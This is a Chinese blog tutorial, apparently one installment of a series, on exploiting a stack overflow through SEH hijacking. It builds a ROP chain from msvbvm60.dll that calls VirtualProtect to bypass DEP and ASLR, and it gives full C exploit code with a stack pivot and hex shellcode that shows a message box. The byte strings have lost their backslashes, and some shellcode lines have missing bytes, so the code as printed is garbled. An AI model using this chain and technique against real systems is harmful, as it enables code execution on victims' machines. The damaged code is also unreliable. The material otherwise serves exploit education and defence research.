![fc48dee87554cf47e00c310f020e9528.png](https://i-blog.csdnimg.cn/blog_migrate/2bf66bb441eb660820aabc714e2546ce.jpeg)
在上一篇文章中,我们为读者详细介绍了SHE劫持技术,以及DED和ASLR防御机制,在本文中,我们将继续为读者讲解如何创建ROP链。
创建ROP链
第一步,我使用Ropper从msvbvm60.dll中提取所有可能有用的可执行代码片段(以RET、JMP或CALL指令结束)。实际上,我创建ROP链有三个主要意图:
- 通过从msvbvm60.dll的IAT加载其地址来调用KERNEL32.DLL!VirtualProtect(以绕过KERNEL32.DLL的ASLR)。
- 动态控制VirtualProtect的第一个参数,使其指向堆栈上的shellcode(以绕过DEP)。
- 人为控制VirtualProtect的返回地址,令其返回时,动态地执行堆栈上的shellcode(现在的权限是+RWX)。
在编写ROP链的时候,我先用汇编语言描述所需逻辑的伪代码,然后,设法用ROP Gadget来复现该逻辑。
Gadget #1 | MOV REG1, <Address of VirtualProtect IAT thunk> ; RET
Gadget #2 | MOV REG2, <Address of JMP ESP - Gadget #6> ; RET
Gadget #3 | MOV REG3, <Address of gadget #5> ; RET
Gadget #4 | PUSH ESP ; PUSH REG3 ; RET
Gadget #5 | PUSH REG2 ; JMP DWORD [REG1]
Gadget #6 | JMP ESP
图14 ROP链伪代码逻辑
值得注意的是,在上面精心构造的的逻辑中,使用了msvbvm60.dll中一个包含VirtualProtect地址的解除引用的IAT thunk地址,以解决KERNEL32.DLL的ASLR问题。Windows在加载msvbvm60.dll时,会为我们解析VirtualProtect的地址,并且这个地址将始终保存在msvbvm60.dll内的同一位置处。这里,我打算使用JMP指令来调用它,而不是CALL指令。这是因为我需要为调用VirtualProtect创建一个伪造的返回地址,这个返回地址将导致shellcode(现在已经摆脱了DEP)直接执行。这个伪造的返回地址会指向一个JMP ESP gadget。我这么做的理由是:尽管不知道(也无法知道)通过溢出写入栈中的shellcode的具体位置,但该gadget返回后,ESP会指向ROP链的末端,而我可以精心构造溢出内容,使shellcode正好位于这个ROP链后面。
此外,我在第4个gadget中也使用了同样的技术:通过两个push指令让ESP动态生成VirtualProtect的第一个参数。与JMP ESP指令不同(其中ESP会直接指向我的shellcode),这里的ESP会与我的shellcode的地址略有偏差(运行时ESP与ROP链末端的距离)。这并不是一个问题,因为充其量只是在ROP链的末端除了shellcode本身之外,还将禁用DEP。
在构建ROP链的过程中(也就是将上述逻辑付诸实施过程中),我发现gadget #4(我的伪代码gadget中最稀有和最不可替代的一个)没有出现在msvbvm60.dll中。这个挫折是一个很好的例子,说明了为什么在任何公共漏洞利用代码中几乎每个ROP链都在使用PUSHAD指令,而不是类似于我所描述的伪代码逻辑。
简而言之,PUSHAD指令允许exploit编写者动态地将ESP的值(以及堆栈上的shellcode)与所有其他相关的KERNEL32.DLL!VirtualProtect参数一起放到堆栈上,而无需使用任何罕见的gadget。他们所有需要做的就是正确填充每个通用寄存器的值,然后执行PUSHAD ; RET gadget来完成攻击。关于这方面的详细介绍,请访问Corelan撰写的“ Exploit writing tutorial part 10 : Chaining DEP with ROP – the Rubik’s[TM] Cube”一文。最终,我们的ROP链需要通过如下方式设置相关的寄存器:
EAX = NOP sled
ECX = Old protection (writable address)
EDX = PAGE_EXECUTE_READWRITE
EBX = Size
EBP = VirtualProtect return address (JMP ESP)
ESI = KERNEL32.DLL!VirtualProtect
EDI = ROPNOP
在实践中,上面的逻辑可以被ROP gadget替换,具体如下面的伪码所示:
Gadget #1: MOV EAX, <msvbvm60.dll!VirtualProtect>
Gadget #2: MOV ESI, DWORD [ESI]
Gadget #3: MOV EAX, 0x90909090
Gadget #4: MOV ECX, <msvbvm60.dll!.data>
Gadget #5: MOV EDX, 0x40
Gadget #6: MOV EBX, 0x2000
Gadget #7: MOV EBP,
Gadget #8: MOV EDI,
Gadget #9: PUSHAD
Gadget #10: ROPNOP
Gadget #11: JMP ESP
上面的伪码逻辑最终可以转换为来自msvbvm60.dll的ROP链数据,具体如下所示:
uint8_t RopChain[] =
"x54x1ex00x66" // 0x66001e54 | Gadget #1 | POP ESI ; RET
"xd0x10x00x66" // 0x660010d0 -> ESI | <msvbvm60.dll!VirtualProtect thunk>
"xfcx50x05x66" // 0x660550fc | Gadget #2 | MOV EAX, DWORD [ESI] ; POP ESI; RET
"xefxbexadxde" // Junk
"xf8x9fx0fx66" // 0x660f9ff8 | Gadget #3 | XCHG EAX, ESI; RET
"x1fx98x0ex66" // 0x660e981f | Gadget #4 | POP EAX; RET
"x90x90x90x90" // NOP sled -> EAX | JMP ESP will point here
"xf0x1dx00x66" // 0x66001df0 | Gadget #5 | POP EBP; RET
"xeaxcbx01x66" // 0x6601CBEA -> EBP |
"x10x1fx00x66" // 0x66001f10 | Gadget #6 | POP EBX; RET
"x00x20x00x00" // 0x2000 -> EBX | VirtualProtect() | Param #2 | dwSize
"x21x44x06x66" // 0x66064421 | Gadget #7 | POP EDX; RET
"x40x00x00x00" // 0x40 -> EDX | VirtualProtect() | Param #3 | flNewProtect | PAGE_EXECUTE_READWRITE
"xf2x1fx00x66" // 0x66001ff2 | Gadget #8 | POP ECX; RET
"x00xa0x10x66" // 0x6610A000 -> ECX | VirtualProtect() | Param #4 | lpflOldProtect
"x5bx57x00x66" // 0x6600575b | Gadget #9 | POP EDI; RET
"xf9x28x0fx66" // 0x660F28F9 -> EDI |
"x54x12x05x66" // 0x66051254 | Gadget #10 | PUSHAD; RET
// 0x660F28F9 | Gadget #11 | ROPNOP | returns into VirtualProtect
// 0x6601CBEA | Gadget #12 | PUSH ESP; RET | return address from VirtualProtect
图15 来自msvbvm60.dll的ROP链
执行任意代码
构建了ROP链,也搞定了劫持EIP的方法,现在剩下的唯一任务就是构建exploit。为此,我们必须了解当伪造的SEH handler收到程序的控制权时堆栈的布局情况。理想情况下,我们当然希望ESP直接指向ROP链的顶部,并结合EIP重定向,使其指向链中的第一个gadget。在实践中,这是不可能的。让我们回顾一下图8所示的堆栈喷射代码,并在在伪造的handler的开始处设置一个断点,以观察发生溢出和EIP劫持后栈的状态。
![d1182344c1a548424fb6f13e53587c57.png](https://i-blog.csdnimg.cn/blog_migrate/7420f2f14ff89d40246140d2ce4319b0.jpeg)
图16 喷入的SEH handler执行时堆栈的状态
在右边的突出显示的区域,我们可以看到堆栈的底部位于0x010FF3C0处。然而,您可能会注意到,堆栈中的值都不是我们溢出的内容——大家可能还记得,在发生访问冲突之前,我们在不断向堆栈中喷射伪造的SEH handler的地址。在左边突出显示的区域,我们可以看到,我们的溢出内容起始于0x010FFA0C附近。因此,在异常发生后,NTDLL.DLL让ESP向我们用溢出内容覆盖的堆栈区域下方偏移了0x64C字节(记住,堆栈是向下生长的,而不是向上生长的)。有了这些信息,就不难理解发生了什么。当NTDLL.DLL处理异常时,它开始使用异常发生时ESP下方的堆栈区域,而这个区域是我们鞭长莫及的,因此,也就无法写入我们的ROP链。
因此,这就产生了一个有趣的问题。也就是说,要想执行ROP链,我们需要让伪造的SEH handler设法让ESP(栈顶指针)重新指向由溢出内容覆盖的堆栈区域。当我们的断点被击中时,检查ESP的值,我们可以在0x010FF3C0处看到一个返回NTDLL.DLL的地址(无用),其后是另一个位于我们所能控制的堆栈范围(0x010FF4C4)下方的地址(也无用),它位于0x010FF3C4处。然而,0x010FF3C8处的第三个值0x010FF3A74直接落在从0x010FFA0C开始的受控区域的地址范围内,其偏移值为0x64。重新审视异常处理程序的原型,就会发现这第三个值(代表传递给处理程序的第二个参数)对应的是Windows传递给SEH handler的“已建帧”的指针。
EXCEPTION_DISPOSITION __cdecl SehHandler(EXCEPTION_RECORD* pExceptionRecord, void* pEstablisherFrame, CONTEXT* pContextRecord, void* pDispatcherContext)
在我们的调试器中,检查堆栈中0x010FF3A74这个地址处的内容,我们可以更进一步地了解这个参数(也称为NSEH)的指向。
![b0e522af4e47d717630cb69dc0cdfefa.png](https://i-blog.csdnimg.cn/blog_migrate/8fb7729321cd6400da2b3052e013a862.jpeg)
图17 传递给SEH handler的已建帧参数所指示的堆栈区域
果然,我们可以看到,这个地址指向我们的溢出所控制的堆栈的一个区域(现在该区域已经被喷入的handler地址填满了)。具体来说,它直接指向前面提到的EXCEPTION_REGISTRATION_RECORD结构体的开始位置,而我们早就覆盖了这个结构体并用它来劫持EIP。在理想情况下,我们伪造的SEH handler会将ESP设置为[ESP + 8],并且我们会将ROP链的开头部分放在被我们的溢出内容覆盖的EXCEPTION_REGISTRATION_RECORD结构体的开始处。对于这种类型的堆栈pivot,一个理想的gadget是POP REG;POP REG;POP ESP;RET或这种逻辑的一些变体,然而,msvbvm60.dll中并没有这种gadget,我不得不设法设计一个不同的解决方案。如前所述,当NTDLL将EIP重定向到我们伪造的SEH handler时,ESP在堆栈上的偏移量0x64C已经超出了我们用溢出控制的区域(具体来说,跑到该区域的下方了)。因此,对于堆栈pivot的这个问题,一个不太优雅的解决方案就是直接给ESP加上一个大于或等于0x64C的值。Ropper提供了一个功能,可以提取潜在的堆栈pivot gadget:
![cd5dfbe7185383a14ba9638f3646d2d7.png](https://i-blog.csdnimg.cn/blog_migrate/91b59ff15c213da9e6a455da672c8f3c.jpeg)
图18 使用Ropper从msvbvm60.dll中提取堆栈pivot
ADD ESP,0x1004 ; RET是一个略显混乱的gadget:它超出溢出开始处0x990个字节,但由于它是唯一一个值大于0x64C的ADD ESP,因此别无选择。这个堆栈pivot会让ESP从我们的溢出起始处超出0x990或0x98C个字节(当然,对于同一应用程序的不同实例以及Windows的不同版本来说,该值还能会有所变化)。这意味着我们需要在实际ROP链开始之前,用0x98C个垃圾字节和ROPNOP来填充溢出。
![52def08930c593014490d21e029dbaa6.png](https://i-blog.csdnimg.cn/blog_migrate/a70dc249f8a8dddf11ca7f12cb3cb536.jpeg)
图19 溢出后EIP劫持点处的堆栈布局图
将这些知识整合到一段代码中:
#include
#include
#include
uint8_t Exploit[] =
"AAAAAAAAAAAAAAAA" // 16 bytes for buffer length
"AAAA" // Stack Cookie
"AAAA" // EBP
"AAAA" // Return address
"AAAA" // Overflow() | Param #1 | pInputBuf
"AAAA" // Overflow() | Param #2 | dwInputBufSize
"DDDD" // EXECEPTION_REGISTRATION_RECORD.Next
"xf3x28x0fx66"// EXECEPTION_REGISTRATION_RECORD.Handler | 0x660f28f3 | ADD ESP, 0x1004; RET
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"xf9x28x0fx66" // 0x660F28F9 | ROPNOP
// ROP chain begins
// EAX = NOP sled
// ECX = Old protection (writable address)
// EDX = PAGE_EXECUTE_READWRITE
// EBX = Size
// EBP = VirtualProtect return address (JMP ESP)
// ESI = KERNEL32.DLL!VirtualProtect
// EDI = ROPNOP
"x54x1ex00x66" // 0x66001e54 | Gadget #1 | POP ESI ; RET
"xd0x10x00x66" // 0x660010d0 -> ESI | <msvbvm60.dll!VirtualProtect thunk>
"xfcx50x05x66" // 0x660550fc | Gadget #2 | MOV EAX, DWORD [ESI] ; POP ESI; RET
"xefxbexadxde" // Junk
"xf8x9fx0fx66" // 0x660f9ff8 | Gadget #3 | XCHG EAX, ESI; RET
"x1fx98x0ex66" // 0x660e981f | Gadget #4 | POP EAX; RET
"x90x90x90x90" // NOP sled -> EAX | JMP ESP will point here
"xf0x1dx00x66" // 0x66001df0 | Gadget #5 | POP EBP; RET
"xeaxcbx01x66" // 0x6601CBEA -> EBP |
"x10x1fx00x66" // 0x66001f10 | Gadget #6 | POP EBX; RET
"x00x20x00x00" // 0x2000 -> EBX | VirtualProtect() | Param #2 | dwSize
"x21x44x06x66" // 0x66064421 | Gadget #7 | POP EDX; RET
"x40x00x00x00" // 0x40 -> EDX | VirtualProtect() | Param #3 | flNewProtect | PAGE_EXECUTE_READWRITE
"xf2x1fx00x66" // 0x66001ff2 | Gadget #8 | POP ECX; RET
"x00xa0x10x66" // 0x6610A000 -> ECX | VirtualProtect() | Param #4 | lpflOldProtect
"x5bx57x00x66" // 0x6600575b | Gadget #9 | POP EDI; RET
"xf9x28x0fx66" // 0x660F28F9 -> EDI |
"x54x12x05x66" // 0x66051254 | Gadget #10 | PUSHAD; RET
// 0x660F28F9 | Gadget #11 | ROPNOP | returns into VirtualProtect
// 0x6601CBEA | Gadget #12 | PUSH ESP; RET | return address from VirtualProtect
// Shellcode
"x55x89xe5x68x88x4ex0dx00xe8x53x00x00x00x68x86x57"
"x0dx00x50xe8x94x00x00x00x68x33x32x00x00x68x55x73"
"x65x72x54xffxd0x68x1axb8x06x00x50xe8x7cx00x00x00"
"x6ax64x68x70x77x6ex65x89xe1x68x6ex65x74x00x68x6f"
"x72x72x2ex68x65x73x74x2dx68x66x6fx72x72x68x77x77"
"x77x2ex89xe2x6ax00x52x51x6ax00xffxd0x89xecx5dxc3"
"x55x89xe5x57x56xbex30x00x00x00x64xadx8bx40x0cx8b"
"x78x18x89xfex31xc0xebx04x39xf7x74x28x85xf6x74x24"
"x8dx5ex24x85xdbx74x14x8bx4bx04x85xc9x74x0dx6ax01"
"x51xe8x5dx01x00x00x3bx45x08x74x06x31xc0x8bx36xeb"
"xd7x8bx46x10x5ex5fx89xecx5dxc2x04x00x55x89xe5x81"
"xecx30x02x00x00x8bx45x08x89x45xf8x8bx55xf8x03x42"
" x83xc0x04x89x45xf0x83xc0x14x89x45xf4x89xc2x8b"
"x45x08x03x42x60x8bx4ax64x89x4dxd0x89x45xfcx89xc2"
"x8bx45x08x03x42x20x89x45xecx8bx55xfcx8bx45x08x03"
"x42x24x89x45xe4x8bx55xfcx8bx45x08x03x42x1cx89x45"
"xe8x31xc0x89x45xe0x89x45xd8x8bx45xfcx8bx40x18x3b"
"x45xe0x0fx86xd2x00x00x00x8bx45xe0x8dx0cx85x00x00"
"x00x00x8bx55xecx8bx45x08x03x04x11x89x45xd4x6ax00"
"x50xe8xbdx00x00x00x3bx45x0cx0fx85xa1x00x00x00x8b"
"x45xe0x8dx14x00x8bx45xe4x0fxb7x04x02x8dx0cx85x00"
"x00x00x00x8bx55xe8x8bx45x08x03x04x11x89x45xd8x8b"
"x4dxfcx89xcax03x55xd0x39xc8x7cx7fx39xd0x7dx7bxc7"
"x45xd8x00x00x00x00x31xc9x8dx9dxd0xfdxffxffx8ax14"
"x08x80xfax00x74x20x80xfax2ex75x15xc7x03x2ex64x6c"
"x6cx83xc3x04xc6x03x00x8dx9dxd0xfexffxffx41xebxde"
"x88x13x41x43xebxd8xc6x03x00x8dx9dxd0xfdxffxffx6a"
"x00x53xe8 x00x00x00x50xe8xa3xfexffxffx85xc0x74"
"x29x89x45xdcx6ax00x8dx95xd0xfexffxffx52xe8x21x00"
"x00x00x50xffx75xdcxe8xd1xfexffxffx89x45xd8xebx0a"
"x8dx45xe0xffx00xe9x1fxffxffxffx8bx45xd8x89xecx5d"
"xc2x08x00x55x89xe5x57x8bx4dx08x8bx7dx0cx31xdbx80"
"x39x00x74x14x0fxb6x01x0cx60x0fxb6xd0x01xd3xd1xe3"
"x41x85xffx74xeax41xebxe7x89xd8x5fx89xecx5dxc2x08"
"x00";
void Overflow(uint8_t* pInputBuf, uint32_t dwInputBufSize) {
char Buf[16] = { 0 };
memcpy(Buf, pInputBuf, dwInputBufSize);
}
int32_t wmain(int32_t nArgc, const wchar_t* pArgv[]) {
char Junk[0x5000] = { 0 }; // Move ESP lower to ensure the exploit data can be accomodated in the overflow
HMODULE hModule = LoadLibraryW(L"msvbvm60.dll");
__asm {
Push0xdeadc0de// Address of handler function
PushFS:[0]// Address of previous handler
Mov FS:[0], Esp// Install new EXECEPTION_REGISTRATION_RECORD
}
printf("... loaded non-ASLR/non-SafeSEH module msvbvm60.dll to 0x%prn", hModule);
printf("... passing %d bytes of data to vulnerable functionrn", sizeof(Exploit) - 1);
Overflow(Exploit, 0x20000);
return 0;
}
图20 存在堆栈溢出漏洞的应用程序,以及通过SEH劫持绕过堆栈Cookies的exploit代码
上面的代码中有几个细节值得注意。首先,您可能注意到,我通过将垃圾异常处理程序(0xdeadc0de)链接到TEB(FS[0])中的处理程序列表,显式注册了该处理程序。之所以这样做,是因为我发现在堆栈顶部覆盖NTDLL.DLL注册的默认处理程序的做法不太可靠。这是因为有时堆栈的顶端没有足够的空间来容纳shellcode,这会触发VirtualProtect的STATUS_CONFICTING_ADDRESS错误(代码0xc0000015)。
图20中另一个值得注意的细节是,我在ROP链末端的溢出内容中加入了自己的shellcode。这是我编写的一个自定义的shellcode(源代码可以从Github上下载),它在ROP链化后的堆栈上被执行后会弹出一个消息框。
编译完含有溢出漏洞程序后,我们可以进行单步跟踪,看看溢出数据是如何结合在一起来执行shellcode的。
![1044d3ab88e9a4d5b07cb33cfb6bc577.png](https://i-blog.csdnimg.cn/blog_migrate/139bd43e4f237fa7ead512aeeccedd57.jpeg)
图21 存在漏洞的程序在发生堆栈溢出前的状态
在第一个断点处,我们可以看到,栈上的目标EXCEPTION_REGISTRATION_RECORD位于0x00B9ABC8处。在发生溢出之后,我们可以期待该handler字段将被我们伪造的SEH handler的地址所覆盖。
![560e5adf4a49927499b7dbbe55ca7d26.png](https://i-blog.csdnimg.cn/blog_migrate/b2e87785ce57a636c9b4d45be5330bed.jpeg)
图22 memcpy对堆栈末端之外执行写入操作是抛出的访问违例异常(Access violation exception)
在memcpy函数中,由于rep MOVSB指令试图将数据写入堆栈的末端之外的内存时,发生了访问违例异常。在0x00B9ABCC处,我们可以看到EXCEPTION_REGISTRATION_RECORD结构体的handler字段已经被我们msvbvm60.dll中的堆栈pivot gadget的地址所覆盖。
![88086a626b67b6a9892a0596db46f1da.png](https://i-blog.csdnimg.cn/blog_migrate/42630da52f5d62ddaed2ec50a89ff7ad.jpeg)
图23 伪造的SEH handler让ESP跳回由溢出控制的地区
在堆栈中向上跳过0x1004字节,我们可以看到在突出显示区域,ESP现在指向我们ROP链的开始地址。这个ROP链将填充所有相关寄存器的值,以便为PUSHAD gadget做好相应的准备,之后,该gadget将把这些值移到堆栈上,从而为调用KERNEL32.DLL!VirtualProtect做好准备。
![b37de045074ae1138d91663e797b5960.png](https://i-blog.csdnimg.cn/blog_migrate/d0587593cb01689ef9d354bb51d88836.jpeg)
图24 PUSHAD为绕过DEP准备好相应的调用栈
在PUSHAD指令执行后,我们可以看到ESP现在指向msvbvm60.dll中的ROPN,其后紧跟KERNEL32.DLL中VirtualProtect的地址。在0x00B9B594处,我们可以看到传递给VirtualProtect的第一个参数,就是我们堆栈上0x00B9B5A4处的shellcode的地址(该地址在图24中已经突出显示)。
![9aedf55818dc5ec0554dde44f244c538.png](https://i-blog.csdnimg.cn/blog_migrate/c098a85bab64c9e9344c2c433651be65.jpeg)
图25 ROP链的最后一个gadget将EIP设置为ESP
一旦VirtualProtect返回,ROP链中的最后一个gadget就会将EIP重定向到ESP的值,这样,ESP将指向我们直接存储在ROP链之后的shellcode的起始位置。您可能已经注意到,shellcode的前4个字节实际上就是ROP链通过PUSHAD指令动态生成的NOP指令,而不是通过溢出写入的shellcode的起始位置。
![004abe9219b59cde2c3e05903fc5c31f.png](https://i-blog.csdnimg.cn/blog_migrate/7ce3d0c228069a3cb3debe21baa63716.jpeg)
图26 弹出消息框的shellcode在堆栈上成功执行,从而完成了漏洞的利用过程
小结
在本文中,我们为读者解释了ROP链的创建过程,以及执行任意代码的实现过程,在下一篇文章中,我们将为读者介绍针对SEH劫持技术的一种强大的防御机制,即SEHOP。